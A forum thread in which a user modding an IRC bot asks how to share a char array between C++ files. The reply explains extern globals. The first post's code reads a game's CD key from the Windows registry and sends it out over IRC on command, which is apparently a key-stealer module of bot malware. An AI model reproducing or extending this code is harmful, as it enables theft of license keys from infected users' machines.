Thread: Accessing a char array everywhere

  1. #1
    Registered User
    Join Date
    Sep 2010
    Posts
    17

    Accessing a char array everywhere

    Not the most appropriate title as I wasn't really sure how to describe my situation in so few words. So here is a proper explanation:
    I found an IRC bot source where the bot would just join the channel and wait for commands and I started to mod it a little and add a few commands. One of the commands is a game key retriever. This is what I ideally want in my irc.cpp file:
    Code:
    else if (!strcmp(word[p], cmd_keyretriever)) {
    		Key("SOFTWARE\\Activision\\Call of Duty 4", "codkey", "Call of Duty 4: ");
    		IRC_Send(sock, MSG_PRIVMSG, string, from);		
    	}
    And then in my retriever.cpp:
    Code:
    void Key(char *loc, char *regkey, char *name)
    {
    	HKEY key;
    	char Serial[25];
    	DWORD len = sizeof(Serial);
    	if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, loc, 0, KEY_QUERY_VALUE, &key) == ERROR_SUCCESS) {
    		RegQueryValueEx(key, regkey, NULL, NULL, (BYTE *) Serial, &len);
    		wsprintf(string, "%s%s", name, Serial);
    	}
    }
    I also have a headerfile; retriever.h:
    Code:
    void Key(char *loc, char *regkey, char *name);
    So my problem is, is that I cannot for the life of me, create a char array that is accessable by both irc.cpp & retriever.cpp. I've tried extern chars in a header file included in both but there's always a clash or it can't convert something to something else.
    Or perhaps there's a better way than setting the value of a char array in retriever.cpp and then using it in irc.cpp?

  2. #2
    C lover
    Join Date
    Oct 2007
    Location
    Virginia
    Posts
    266
    Well if you want to use extern, you could declare it global in say, the file with main. And then use the extern keyword in another file.

    so:

    main.cpp
    Code:
    int some_array[MAX_SIZ];
    
    int main(){
    .
    .
    .
        return 0;
    }
    and then:

    some_other_file.cpp

    Code:
    extern int some_array[MAX_SIZ];

    Here is a related -older thread: usage of extern keyword

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Sending a simple email in C++?
    By Coukapecker in forum C++ Programming
    Replies: 6
    Last Post: 04-09-2010, 12:36 PM
  2. C++ ini file reader problems
    By guitarist809 in forum C++ Programming
    Replies: 7
    Last Post: 09-04-2008, 06:02 AM
  3. newbie needs help with code
    By compudude86 in forum C Programming
    Replies: 6
    Last Post: 07-23-2006, 08:54 PM
  4. code condensing
    By bcianfrocca in forum C++ Programming
    Replies: 4
    Last Post: 09-07-2005, 09:22 AM
  5. Strings are V important...
    By NANO in forum C++ Programming
    Replies: 15
    Last Post: 04-14-2002, 11:57 AM